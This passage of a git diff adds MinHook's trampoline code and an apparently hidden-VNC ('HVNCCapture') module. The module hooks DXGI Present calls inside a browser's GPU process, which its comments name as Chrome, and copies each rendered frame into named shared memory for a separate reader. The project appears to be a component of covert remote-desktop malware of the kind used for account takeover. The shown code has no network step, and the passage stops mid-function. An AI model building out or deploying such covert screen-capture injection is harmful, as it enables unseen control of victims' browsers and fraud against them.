+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+ * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
+ * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
+ * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include
+
+#if defined(_MSC_VER) && !defined(MINHOOK_DISABLE_INTRINSICS)
+ #define ALLOW_INTRINSICS
+ #include
+#endif
+
+#ifndef ARRAYSIZE
+ #define ARRAYSIZE(A) (sizeof(A)/sizeof((A)[0]))
+#endif
+
+#if defined(_M_X64) || defined(__x86_64__)
+ #include "./hde/hde64.h"
+ typedef hde64s HDE;
+ #define HDE_DISASM(code, hs) hde64_disasm(code, hs)
+#else
+ #include "./hde/hde32.h"
+ typedef hde32s HDE;
+ #define HDE_DISASM(code, hs) hde32_disasm(code, hs)
+#endif
+
+#include "trampoline.h"
+#include "buffer.h"
+
+// Maximum size of a trampoline function.
+#if defined(_M_X64) || defined(__x86_64__)
+ #define TRAMPOLINE_MAX_SIZE (MEMORY_SLOT_SIZE - sizeof(JMP_ABS))
+#else
+ #define TRAMPOLINE_MAX_SIZE MEMORY_SLOT_SIZE
+#endif
+
+//-------------------------------------------------------------------------
+static BOOL IsCodePadding(LPBYTE pInst, UINT size)
+{
+ UINT i;
+
+ if (pInst[0] != 0x00 && pInst[0] != 0x90 && pInst[0] != 0xCC)
+ return FALSE;
+
+ for (i = 1; i < size; ++i)
+ {
+ if (pInst[i] != pInst[0])
+ return FALSE;
+ }
+ return TRUE;
+}
+
+//-------------------------------------------------------------------------
+BOOL CreateTrampolineFunction(PTRAMPOLINE ct)
+{
+#if defined(_M_X64) || defined(__x86_64__)
+ CALL_ABS call = {
+ 0xFF, 0x15, 0x00000002, // FF15 00000002: CALL [RIP+8]
+ 0xEB, 0x08, // EB 08: JMP +10
+ 0x0000000000000000ULL // Absolute destination address
+ };
+ JMP_ABS jmp = {
+ 0xFF, 0x25, 0x00000000, // FF25 00000000: JMP [RIP+6]
+ 0x0000000000000000ULL // Absolute destination address
+ };
+ JCC_ABS jcc = {
+ 0x70, 0x0E, // 7* 0E: J** +16
+ 0xFF, 0x25, 0x00000000, // FF25 00000000: JMP [RIP+6]
+ 0x0000000000000000ULL // Absolute destination address
+ };
+#else
+ CALL_REL call = {
+ 0xE8, // E8 xxxxxxxx: CALL +5+xxxxxxxx
+ 0x00000000 // Relative destination address
+ };
+ JMP_REL jmp = {
+ 0xE9, // E9 xxxxxxxx: JMP +5+xxxxxxxx
+ 0x00000000 // Relative destination address
+ };
+ JCC_REL jcc = {
+ 0x0F, 0x80, // 0F8* xxxxxxxx: J** +6+xxxxxxxx
+ 0x00000000 // Relative destination address
+ };
+#endif
+
+ UINT8 oldPos = 0;
+ UINT8 newPos = 0;
+ ULONG_PTR jmpDest = 0; // Destination address of an internal jump.
+ BOOL finished = FALSE; // Is the function completed?
+#if defined(_M_X64) || defined(__x86_64__)
+ UINT8 instBuf[16];
+#endif
+
+ ct->patchAbove = FALSE;
+ ct->nIP = 0;
+
+ do
+ {
+ HDE hs;
+ UINT copySize;
+ LPVOID pCopySrc;
+ ULONG_PTR pOldInst = (ULONG_PTR)ct->pTarget + oldPos;
+ ULONG_PTR pNewInst = (ULONG_PTR)ct->pTrampoline + newPos;
+
+ copySize = HDE_DISASM((LPVOID)pOldInst, &hs);
+ if (hs.flags & F_ERROR)
+ return FALSE;
+
+ pCopySrc = (LPVOID)pOldInst;
+ if (oldPos >= sizeof(JMP_REL))
+ {
+ // The trampoline function is long enough.
+ // Complete the function with the jump to the target function.
+#if defined(_M_X64) || defined(__x86_64__)
+ jmp.address = pOldInst;
+#else
+ jmp.operand = (INT32)(pOldInst - (pNewInst + sizeof(jmp)));
+#endif
+ pCopySrc = &jmp;
+ copySize = sizeof(jmp);
+
+ finished = TRUE;
+ }
+#if defined(_M_X64) || defined(__x86_64__)
+ else if ((hs.modrm & 0xC7) == 0x05)
+ {
+ // Instructions using RIP relative addressing. (ModR/M = 00???101B)
+
+ // Modify the RIP relative address.
+ PUINT32 pRelAddr;
+
+ // Avoid using memcpy to reduce the footprint.
+#ifndef ALLOW_INTRINSICS
+ memcpy(instBuf, (LPBYTE)pOldInst, copySize);
+#else
+ __movsb(instBuf, (LPBYTE)pOldInst, copySize);
+#endif
+ pCopySrc = instBuf;
+
+ // Relative address is stored at (instruction length - immediate value length - 4).
+ pRelAddr = (PUINT32)(instBuf + hs.len - ((hs.flags & 0x3C) >> 2) - 4);
+ *pRelAddr
+ = (UINT32)((pOldInst + hs.len + (INT32)hs.disp.disp32) - (pNewInst + hs.len));
+
+ // Complete the function if JMP (FF /4).
+ if (hs.opcode == 0xFF && hs.modrm_reg == 4)
+ finished = TRUE;
+ }
+#endif
+ else if (hs.opcode == 0xE8)
+ {
+ // Direct relative CALL
+ ULONG_PTR dest = pOldInst + hs.len + (INT32)hs.imm.imm32;
+#if defined(_M_X64) || defined(__x86_64__)
+ call.address = dest;
+#else
+ call.operand = (INT32)(dest - (pNewInst + sizeof(call)));
+#endif
+ pCopySrc = &call;
+ copySize = sizeof(call);
+ }
+ else if ((hs.opcode & 0xFD) == 0xE9)
+ {
+ // Direct relative JMP (EB or E9)
+ ULONG_PTR dest = pOldInst + hs.len;
+
+ if (hs.opcode == 0xEB) // isShort jmp
+ dest += (INT8)hs.imm.imm8;
+ else
+ dest += (INT32)hs.imm.imm32;
+
+ // Simply copy an internal jump.
+ if ((ULONG_PTR)ct->pTarget <= dest
+ && dest < ((ULONG_PTR)ct->pTarget + sizeof(JMP_REL)))
+ {
+ if (jmpDest < dest)
+ jmpDest = dest;
+ }
+ else
+ {
+#if defined(_M_X64) || defined(__x86_64__)
+ jmp.address = dest;
+#else
+ jmp.operand = (INT32)(dest - (pNewInst + sizeof(jmp)));
+#endif
+ pCopySrc = &jmp;
+ copySize = sizeof(jmp);
+
+ // Exit the function if it is not in the branch.
+ finished = (pOldInst >= jmpDest);
+ }
+ }
+ else if ((hs.opcode & 0xF0) == 0x70
+ || (hs.opcode & 0xFC) == 0xE0
+ || (hs.opcode2 & 0xF0) == 0x80)
+ {
+ // Direct relative Jcc
+ ULONG_PTR dest = pOldInst + hs.len;
+
+ if ((hs.opcode & 0xF0) == 0x70 // Jcc
+ || (hs.opcode & 0xFC) == 0xE0) // LOOPNZ/LOOPZ/LOOP/JECXZ
+ dest += (INT8)hs.imm.imm8;
+ else
+ dest += (INT32)hs.imm.imm32;
+
+ // Simply copy an internal jump.
+ if ((ULONG_PTR)ct->pTarget <= dest
+ && dest < ((ULONG_PTR)ct->pTarget + sizeof(JMP_REL)))
+ {
+ if (jmpDest < dest)
+ jmpDest = dest;
+ }
+ else if ((hs.opcode & 0xFC) == 0xE0)
+ {
+ // LOOPNZ/LOOPZ/LOOP/JCXZ/JECXZ to the outside are not supported.
+ return FALSE;
+ }
+ else
+ {
+ UINT8 cond = ((hs.opcode != 0x0F ? hs.opcode : hs.opcode2) & 0x0F);
+#if defined(_M_X64) || defined(__x86_64__)
+ // Invert the condition in x64 mode to simplify the conditional jump logic.
+ jcc.opcode = 0x71 ^ cond;
+ jcc.address = dest;
+#else
+ jcc.opcode1 = 0x80 | cond;
+ jcc.operand = (INT32)(dest - (pNewInst + sizeof(jcc)));
+#endif
+ pCopySrc = &jcc;
+ copySize = sizeof(jcc);
+ }
+ }
+ else if ((hs.opcode & 0xFE) == 0xC2)
+ {
+ // RET (C2 or C3)
+
+ // Complete the function if not in a branch.
+ finished = (pOldInst >= jmpDest);
+ }
+
+ // Can't alter the instruction length in a branch.
+ if (pOldInst < jmpDest && copySize != hs.len)
+ return FALSE;
+
+ // Trampoline function is too large.
+ if ((newPos + copySize) > TRAMPOLINE_MAX_SIZE)
+ return FALSE;
+
+ // Trampoline function has too many instructions.
+ if (ct->nIP >= ARRAYSIZE(ct->oldIPs))
+ return FALSE;
+
+ ct->oldIPs[ct->nIP] = oldPos;
+ ct->newIPs[ct->nIP] = newPos;
+ ct->nIP++;
+
+ // Avoid using memcpy to reduce the footprint.
+#ifndef ALLOW_INTRINSICS
+ memcpy((LPBYTE)ct->pTrampoline + newPos, pCopySrc, copySize);
+#else
+ __movsb((LPBYTE)ct->pTrampoline + newPos, (LPBYTE)pCopySrc, copySize);
+#endif
+ newPos += copySize;
+ oldPos += hs.len;
+ } while (!finished);
+
+ // Is there enough place for a long jump?
+ if (oldPos < sizeof(JMP_REL)
+ && !IsCodePadding((LPBYTE)ct->pTarget + oldPos, sizeof(JMP_REL) - oldPos))
+ {
+ // Is there enough place for a short jump?
+ if (oldPos < sizeof(JMP_REL_SHORT)
+ && !IsCodePadding((LPBYTE)ct->pTarget + oldPos, sizeof(JMP_REL_SHORT) - oldPos))
+ {
+ return FALSE;
+ }
+
+ // Can we place the long jump above the function?
+ if (!IsExecutableAddress((LPBYTE)ct->pTarget - sizeof(JMP_REL)))
+ return FALSE;
+
+ if (!IsCodePadding((LPBYTE)ct->pTarget - sizeof(JMP_REL), sizeof(JMP_REL)))
+ return FALSE;
+
+ ct->patchAbove = TRUE;
+ }
+
+#if defined(_M_X64) || defined(__x86_64__)
+ // Create a relay function.
+ jmp.address = (ULONG_PTR)ct->pDetour;
+
+ ct->pRelay = (LPBYTE)ct->pTrampoline + newPos;
+ memcpy(ct->pRelay, &jmp, sizeof(jmp));
+#endif
+
+ return TRUE;
+}
diff --git a/HVNCCapture/Minhook/src/trampoline.h b/HVNCCapture/Minhook/src/trampoline.h
new file mode 100644
index 0000000..f7efb36
--- /dev/null
+++ b/HVNCCapture/Minhook/src/trampoline.h
@@ -0,0 +1,105 @@
+/*
+ * MinHook - The Minimalistic API Hooking Library for x64/x86
+ * Copyright (C) 2009-2017 Tsuda Kageyu.
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+ * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
+ * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
+ * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#pragma once
+
+#pragma pack(push, 1)
+
+// Structs for writing x86/x64 instructions.
+
+// 8-bit relative jump.
+typedef struct _JMP_REL_SHORT
+{
+ UINT8 opcode; // EB xx: JMP +2+xx
+ INT8 operand; // Relative destination address
+} JMP_REL_SHORT, *PJMP_REL_SHORT;
+
+// 32-bit direct relative jump/call.
+typedef struct _JMP_REL
+{
+ UINT8 opcode; // E9/E8 xxxxxxxx: JMP/CALL +5+xxxxxxxx
+ INT32 operand; // Relative destination address
+} JMP_REL, *PJMP_REL, CALL_REL;
+
+// 64-bit indirect absolute jump.
+typedef struct _JMP_ABS
+{
+ UINT8 opcode0; // FF25 00000000: JMP [+6]
+ UINT8 opcode1;
+ UINT32 dummy;
+ UINT64 address; // Absolute destination address
+} JMP_ABS, *PJMP_ABS;
+
+// 64-bit indirect absolute call.
+typedef struct _CALL_ABS
+{
+ UINT8 opcode0; // FF15 00000002: CALL [+6]
+ UINT8 opcode1;
+ UINT32 dummy0;
+ UINT8 dummy1; // EB 08: JMP +10
+ UINT8 dummy2;
+ UINT64 address; // Absolute destination address
+} CALL_ABS;
+
+// 32-bit direct relative conditional jumps.
+typedef struct _JCC_REL
+{
+ UINT8 opcode0; // 0F8* xxxxxxxx: J** +6+xxxxxxxx
+ UINT8 opcode1;
+ INT32 operand; // Relative destination address
+} JCC_REL;
+
+// 64bit indirect absolute conditional jumps that x64 lacks.
+typedef struct _JCC_ABS
+{
+ UINT8 opcode; // 7* 0E: J** +16
+ UINT8 dummy0;
+ UINT8 dummy1; // FF25 00000000: JMP [+6]
+ UINT8 dummy2;
+ UINT32 dummy3;
+ UINT64 address; // Absolute destination address
+} JCC_ABS;
+
+#pragma pack(pop)
+
+typedef struct _TRAMPOLINE
+{
+ LPVOID pTarget; // [In] Address of the target function.
+ LPVOID pDetour; // [In] Address of the detour function.
+ LPVOID pTrampoline; // [In] Buffer address for the trampoline and relay function.
+
+#if defined(_M_X64) || defined(__x86_64__)
+ LPVOID pRelay; // [Out] Address of the relay function.
+#endif
+ BOOL patchAbove; // [Out] Should use the hot patch area?
+ UINT nIP; // [Out] Number of the instruction boundaries.
+ UINT8 oldIPs[8]; // [Out] Instruction boundaries of the target function.
+ UINT8 newIPs[8]; // [Out] Instruction boundaries of the trampoline function.
+} TRAMPOLINE, *PTRAMPOLINE;
+
+BOOL CreateTrampolineFunction(PTRAMPOLINE ct);
diff --git a/HVNCCapture/src/DXGICapture.c b/HVNCCapture/src/DXGICapture.c
new file mode 100644
index 0000000..3761d6b
--- /dev/null
+++ b/HVNCCapture/src/DXGICapture.c
@@ -0,0 +1,632 @@
+//===============================================================================================//
+// HVNCCapture — DXGI SwapChain::Present hook implementation.
+//
+// Compiled as C++ (CompileAsCpp in vcxproj). Uses C++ COM calling convention
+// (obj->Method(...) rather than obj->lpVtbl->Method(obj, ...)).
+//
+// Strategy:
+// 1. Create a temporary D3D11 device + swapchain to get the vtable address
+// of IDXGISwapChain::Present (vtable index 8) and Present1 (index 22).
+// 2. Hook both via MinHook.
+// 3. On each Present call, use the swapchain's GetBuffer(0) to get the
+// backbuffer as an ID3D11Texture2D, copy it to a staging texture,
+// Map it, and write the BGRA pixels into the shared memory section.
+// 4. Signal the named event so the Go reader knows a frame is ready.
+//===============================================================================================//
+#define WIN32_LEAN_AND_MEAN
+#include
+#include
+#include
+#include
+#include
+
+#include "MinHook.h"
+#include "DXGICapture.h"
+
+#pragma comment(lib, "libMinHook.x64.lib")
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+//-----------------------------------------------------------------------------------------------//
+// Forward declarations
+//-----------------------------------------------------------------------------------------------//
+typedef HRESULT(STDMETHODCALLTYPE* PFN_Present)(IDXGISwapChain* pSwapChain, UINT SyncInterval, UINT Flags);
+typedef HRESULT(STDMETHODCALLTYPE* PFN_Present1)(IDXGISwapChain1* pSwapChain, UINT SyncInterval, UINT PresentFlags, const DXGI_PRESENT_PARAMETERS* pPresentParameters);
+typedef HRESULT(STDMETHODCALLTYPE* PFN_ResizeBuffers)(IDXGISwapChain* pSwapChain, UINT BufferCount, UINT Width, UINT Height, DXGI_FORMAT NewFormat, UINT SwapChainFlags);
+
+static HRESULT STDMETHODCALLTYPE HookedPresent(IDXGISwapChain* pSwapChain, UINT SyncInterval, UINT Flags);
+static HRESULT STDMETHODCALLTYPE HookedPresent1(IDXGISwapChain1* pSwapChain, UINT SyncInterval, UINT PresentFlags, const DXGI_PRESENT_PARAMETERS* pPresentParameters);
+static HRESULT STDMETHODCALLTYPE HookedResizeBuffers(IDXGISwapChain* pSwapChain, UINT BufferCount, UINT Width, UINT Height, DXGI_FORMAT NewFormat, UINT SwapChainFlags);
+
+//-----------------------------------------------------------------------------------------------//
+// Globals
+//-----------------------------------------------------------------------------------------------//
+static PFN_Present g_OrigPresent = NULL;
+static PFN_Present1 g_OrigPresent1 = NULL;
+static PFN_ResizeBuffers g_OrigResizeBuffers = NULL;
+
+// Staging resources — double-buffered to avoid blocking Map calls
+static ID3D11Device* g_Device = NULL;
+static ID3D11DeviceContext* g_Context = NULL;
+static ID3D11Texture2D* g_Staging[2] = {NULL, NULL};
+static UINT g_StagingW = 0;
+static UINT g_StagingH = 0;
+static DXGI_FORMAT g_StagingFmt = DXGI_FORMAT_UNKNOWN;
+static UINT g_WriteIdx = 0; // CopyResource target index
+static BOOL g_HasPrevFrame = FALSE; // previous staging has valid data
+
+// Shared memory
+static HANDLE g_ShmHandle = NULL;
+static void* g_ShmView = NULL;
+static SIZE_T g_ShmSize = 0;
+static HANDLE g_FrameEvent = NULL;
+static UINT64 g_FrameSeq = 0;
+
+// Frequency for timestamps
+static LARGE_INTEGER g_PerfFreq;
+
+// Rate limiting — don't copy more than ~60 fps worth of frames
+static LARGE_INTEGER g_LastFrameTime;
+static const LONGLONG g_MinFrameIntervalUs = 16000; // ~60fps
+
+// Critical section for thread safety
+static CRITICAL_SECTION g_Lock;
+static BOOL g_LockInitialized = FALSE;
+
+// Primary swap chain tracking — only capture the largest one in the GPU process
+static IDXGISwapChain* g_PrimarySwapChain = NULL;
+static UINT g_PrimaryArea = 0;
+static UINT g_PrimaryResetCounter = 0;
+
+// Minimum backbuffer dimensions worth capturing (skip internal surfaces)
+#define MIN_CAPTURE_WIDTH 128
+#define MIN_CAPTURE_HEIGHT 128
+#define PRIMARY_RESET_INTERVAL 300 // re-evaluate primary every ~5s at 60fps
+
+//-----------------------------------------------------------------------------------------------//
+// Helpers
+//-----------------------------------------------------------------------------------------------//
+#ifndef ENABLE_DEBUG_LOGGING
+#define ENABLE_DEBUG_LOGGING 1
+#endif
+
+static void DebugLog(const char* fmt, ...) {
+#if ENABLE_DEBUG_LOGGING
+ char buf[1024];
+ va_list args;
+ va_start(args, fmt);
+ vsnprintf(buf, sizeof(buf), fmt, args);
+ va_end(args);
+ OutputDebugStringA(buf);
+#else
+ (void)fmt;
+#endif
+}
+
+static UINT64 GetTimestampNs(void) {
+ LARGE_INTEGER now;
+ QueryPerformanceCounter(&now);
+ return (UINT64)((double)now.QuadPart * 1000000000.0 / (double)g_PerfFreq.QuadPart);
+}
+
+static void BuildShmName(char* out, size_t outLen) {
+ DWORD pid = GetCurrentProcessId();
+ snprintf(out, outLen, "%s%lu", HVNC_SHM_PREFIX, (unsigned long)pid);
+}
+
+static void BuildEventName(char* out, size_t outLen) {
+ DWORD pid = GetCurrentProcessId();
+ snprintf(out, outLen, "%s%lu", HVNC_EVENT_PREFIX, (unsigned long)pid);
+}
+
+//-----------------------------------------------------------------------------------------------//
+// Shared memory management
+//-----------------------------------------------------------------------------------------------//
+static BOOL EnsureSharedMemory(UINT width, UINT height) {
+ UINT stride = width * 4;
+ SIZE_T needed = sizeof(HVNCFrameHeader) + (SIZE_T)stride * height;
+
+ if (g_ShmView && g_ShmSize >= needed) {
+ return TRUE;
+ }
+
+ if (g_ShmView) { UnmapViewOfFile(g_ShmView); g_ShmView = NULL; }
+ if (g_ShmHandle) { CloseHandle(g_ShmHandle); g_ShmHandle = NULL; }
+ g_ShmSize = 0;
+
+ char shmName[128];
+ BuildShmName(shmName, sizeof(shmName));
+
+ wchar_t wShmName[128];
+ MultiByteToWideChar(CP_ACP, 0, shmName, -1, wShmName, 128);
+
+ DWORD sizeHigh = (DWORD)(needed >> 32);
+ DWORD sizeLow = (DWORD)(needed & 0xFFFFFFFF);
+
+ g_ShmHandle = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, sizeHigh, sizeLow, wShmName);
+ if (!g_ShmHandle) {
+ DebugLog("[HVNCCapture] CreateFileMappingW failed: %lu\n", GetLastError());
+ return FALSE;
+ }
+
+ g_ShmView = MapViewOfFile(g_ShmHandle, FILE_MAP_WRITE, 0, 0, needed);
+ if (!g_ShmView) {
+ DebugLog("[HVNCCapture] MapViewOfFile failed: %lu\n", GetLastError());
+ CloseHandle(g_ShmHandle);
+ g_ShmHandle = NULL;
+ return FALSE;
+ }
+
+ g_ShmSize = needed;
+
+ if (!g_FrameEvent) {
+ char evtName[128];
+ BuildEventName(evtName, sizeof(evtName));
+ wchar_t wEvtName[128];
+ MultiByteToWideChar(CP_ACP, 0, evtName, -1, wEvtName, 128);
+ g_FrameEvent = CreateEventW(NULL, FALSE, FALSE, wEvtName);
+ }
+
+ DebugLog("[HVNCCapture] Shared memory created: %s (%zu bytes, %ux%u)\n", shmName, needed, width, height);
+ return TRUE;
+}
+
+//-----------------------------------------------------------------------------------------------//
+// Staging texture management (double-buffered)
+//-----------------------------------------------------------------------------------------------//
+static BOOL EnsureStaging(ID3D11Device* device, UINT width, UINT height, DXGI_FORMAT fmt) {
+ if (g_Staging[0] && g_Staging[1] && g_StagingW == width && g_StagingH == height && g_StagingFmt == fmt) {
+ return TRUE;
+ }
+
+ if (g_Staging[0]) { g_Staging[0]->Release(); g_Staging[0] = NULL; }
+ if (g_Staging[1]) { g_Staging[1]->Release(); g_Staging[1] = NULL; }
+ g_HasPrevFrame = FALSE;
+ g_WriteIdx = 0;
+
+ // Normalise typeless formats to their UNORM equivalents for staging
+ DXGI_FORMAT stageFmt = fmt;
+ switch (fmt) {
+ case DXGI_FORMAT_B8G8R8A8_TYPELESS: stageFmt = DXGI_FORMAT_B8G8R8A8_UNORM; break;
+ case DXGI_FORMAT_R8G8B8A8_TYPELESS: stageFmt = DXGI_FORMAT_R8G8B8A8_UNORM; break;
+ case DXGI_FORMAT_R10G10B10A2_TYPELESS: stageFmt = DXGI_FORMAT_R10G10B10A2_UNORM; break;
+ case DXGI_FORMAT_R16G16B16A16_TYPELESS: stageFmt = DXGI_FORMAT_R16G16B16A16_FLOAT; break;
+ default: break;
+ }
+
+ D3D11_TEXTURE2D_DESC desc;
+ ZeroMemory(&desc, sizeof(desc));
+ desc.Width = width;
+ desc.Height = height;
+ desc.MipLevels = 1;
+ desc.ArraySize = 1;
+ desc.Format = stageFmt;
+ desc.SampleDesc.Count = 1;
+ desc.SampleDesc.Quality = 0;
+ desc.Usage = D3D11_USAGE_STAGING;
+ desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ;
+ desc.BindFlags = 0;
+ desc.MiscFlags = 0;
+
+ HRESULT hr = device->CreateTexture2D(&desc, NULL, &g_Staging[0]);
+ if (FAILED(hr)) {
+ DebugLog("[HVNCCapture] CreateTexture2D staging[0] failed: 0x%08x fmt=%u\n", hr, (unsigned)stageFmt);
+ return FALSE;
+ }
+ hr = device->CreateTexture2D(&desc, NULL, &g_Staging[1]);
+ if (FAILED(hr)) {
+ DebugLog("[HVNCCapture] CreateTexture2D staging[1] failed: 0x%08x fmt=%u\n", hr, (unsigned)stageFmt);
+ g_Staging[0]->Release(); g_Staging[0] = NULL;
+ return FALSE;
+ }
+
+ g_StagingW = width;
+ g_StagingH = height;
+ g_StagingFmt = fmt;
+ DebugLog("[HVNCCapture] Staging textures created: %ux%u fmt=%u\n", width, height, (unsigned)stageFmt);
+ return TRUE;
+}
+
+// Is this a 32-bit-per-pixel BGRA/RGBA format we can directly memcpy?
+static BOOL IsCopyable32bpp(DXGI_FORMAT fmt) {
+ switch (fmt) {
+ case DXGI_FORMAT_B8G8R8A8_UNORM:
+ case DXGI_FORMAT_B8G8R8A8_UNORM_SRGB:
+ case DXGI_FORMAT_B8G8R8A8_TYPELESS:
+ case DXGI_FORMAT_R8G8B8A8_UNORM:
+ case DXGI_FORMAT_R8G8B8A8_UNORM_SRGB:
+ case DXGI_FORMAT_R8G8B8A8_TYPELESS:
+ return TRUE;
+ default:
+ return FALSE;
+ }
+}
+
+//-----------------------------------------------------------------------------------------------//
+// Core frame capture — called from Present hooks (SEH-protected)
+//-----------------------------------------------------------------------------------------------//
+static void CaptureFrameInner(IDXGISwapChain* pSwapChain) {
+ // Rate limit
+ LARGE_INTEGER now;
+ QueryPerformanceCounter(&now);
+ LONGLONG elapsedUs = (now.QuadPart - g_LastFrameTime.QuadPart) * 1000000 / g_PerfFreq.QuadPart;
+ if (elapsedUs < g_MinFrameIntervalUs) {
+ return;
+ }
+ g_LastFrameTime = now;
+
+ // Get the backbuffer
+ ID3D11Texture2D* backbuffer = NULL;
+ HRESULT hr = pSwapChain->GetBuffer(0, __uuidof(ID3D11Texture2D), (void**)&backbuffer);
+ if (FAILED(hr) || !backbuffer) {
+ return;
+ }
+
+ // Get device/context from the backbuffer if not cached
+ if (!g_Device) {
+ ((ID3D11Resource*)backbuffer)->GetDevice(&g_Device);
+ if (g_Device) {
+ g_Device->GetImmediateContext(&g_Context);
+ }
+ }
+
+ if (!g_Device || !g_Context) {
+ backbuffer->Release();
+ return;
+ }
+
+ D3D11_TEXTURE2D_DESC bbDesc;
+ backbuffer->GetDesc(&bbDesc);
+
+ UINT w = bbDesc.Width;
+ UINT h = bbDesc.Height;
+
+ if (w == 0 || h == 0 || w > HVNC_MAX_WIDTH || h > HVNC_MAX_HEIGHT) {
+ backbuffer->Release();
+ return;
+ }
+
+ // Skip tiny internal surfaces (tooltips, scrollbars, compositor layers)
+ if (w < MIN_CAPTURE_WIDTH || h < MIN_CAPTURE_HEIGHT) {
+ backbuffer->Release();
+ return;
+ }
+
+ // Track the primary (largest) swap chain — Chrome GPU process serves many
+ UINT area = w * h;
+ g_PrimaryResetCounter++;
+ if (g_PrimaryResetCounter >= PRIMARY_RESET_INTERVAL) {
+ g_PrimarySwapChain = NULL;
+ g_PrimaryArea = 0;
+ g_PrimaryResetCounter = 0;
+ }
+ if (g_PrimarySwapChain == NULL || pSwapChain == g_PrimarySwapChain) {
+ g_PrimarySwapChain = pSwapChain;
+ if (area > g_PrimaryArea) g_PrimaryArea = area;
+ } else if (area > g_PrimaryArea) {
+ g_PrimarySwapChain = pSwapChain;
+ g_PrimaryArea = area;
+ } else {
+ backbuffer->Release();
+ return;
+ }
+
+ // Only capture 32bpp BGRA/RGBA formats we can handle
+ if (!IsCopyable32bpp(bbDesc.Format)) {
+ backbuffer->Release();
+ return;
+ }
+
+ if (!EnsureStaging(g_Device, w, h, bbDesc.Format)) {
+ backbuffer->Release();
+ return;
+ }
+
+ if (!EnsureSharedMemory(w, h)) {
+ backbuffer->Release();
+ return;
+ }
+
+ UINT writeIdx = g_WriteIdx;
+ UINT readIdx = 1 - writeIdx;
+
+ // Copy backbuffer to the write staging texture (async GPU op, returns immediately)
+ if (bbDesc.SampleDesc.Count > 1) {
+ D3D11_TEXTURE2D_DESC resolveDesc = bbDesc;
+ resolveDesc.SampleDesc.Count = 1;
+ resolveDesc.SampleDesc.Quality = 0;
+ resolveDesc.Usage = D3D11_USAGE_DEFAULT;
+ resolveDesc.BindFlags = 0;
+ resolveDesc.CPUAccessFlags = 0;
+ resolveDesc.MiscFlags = 0;
+
+ ID3D11Texture2D* resolved = NULL;
+ hr = g_Device->CreateTexture2D(&resolveDesc, NULL, &resolved);
+ if (SUCCEEDED(hr) && resolved) {
+ g_Context->ResolveSubresource(resolved, 0, backbuffer, 0, bbDesc.Format);
+ g_Context->CopyResource(g_Staging[writeIdx], resolved);
+ resolved->Release();
+ } else {
+ backbuffer->Release();
+ return;
+ }
+ } else {
+ g_Context->CopyResource(g_Staging[writeIdx], backbuffer);
+ }
+
+ backbuffer->Release();
+
+ // Flip staging index for next frame
+ g_WriteIdx = readIdx;
+
+ // On first frame, nothing to read yet
+ if (!g_HasPrevFrame) {
+ g_HasPrevFrame = TRUE;
+ return;
+ }
+
+ // Map the READ staging (previous frame) — non-blocking to avoid stalling Chrome's GPU thread
+ D3D11_MAPPED_SUBRESOURCE mapped;
+ hr = g_Context->Map(g_Staging[readIdx], 0, D3D11_MAP_READ, D3D11_MAP_FLAG_DO_NOT_WAIT, &mapped);
+ if (hr == DXGI_ERROR_WAS_STILL_DRAWING) {
+ return; // GPU hasn't finished the previous copy — skip
+ }
+ if (FAILED(hr)) {
+ DebugLog("[HVNCCapture] Map failed: 0x%08x\n", hr);
+ return;
+ }
+
+ UINT dstStride = w * 4;
+ UINT srcPitch = mapped.RowPitch;
+ BYTE* dst = (BYTE*)g_ShmView + sizeof(HVNCFrameHeader);
+ BYTE* src = (BYTE*)mapped.pData;
+
+ for (UINT y = 0; y < h; y++) {
+ memcpy(dst + (SIZE_T)y * dstStride, src + (SIZE_T)y * srcPitch, dstStride);
+ }
+
+ g_Context->Unmap(g_Staging[readIdx], 0);
+
+ // Write header (AFTER pixel data + barrier so reader sees consistent data)
+ g_FrameSeq++;
+ HVNCFrameHeader* hdr = (HVNCFrameHeader*)g_ShmView;
+ hdr->magic = HVNC_FRAME_MAGIC;
+ hdr->version = HVNC_FRAME_VERSION;
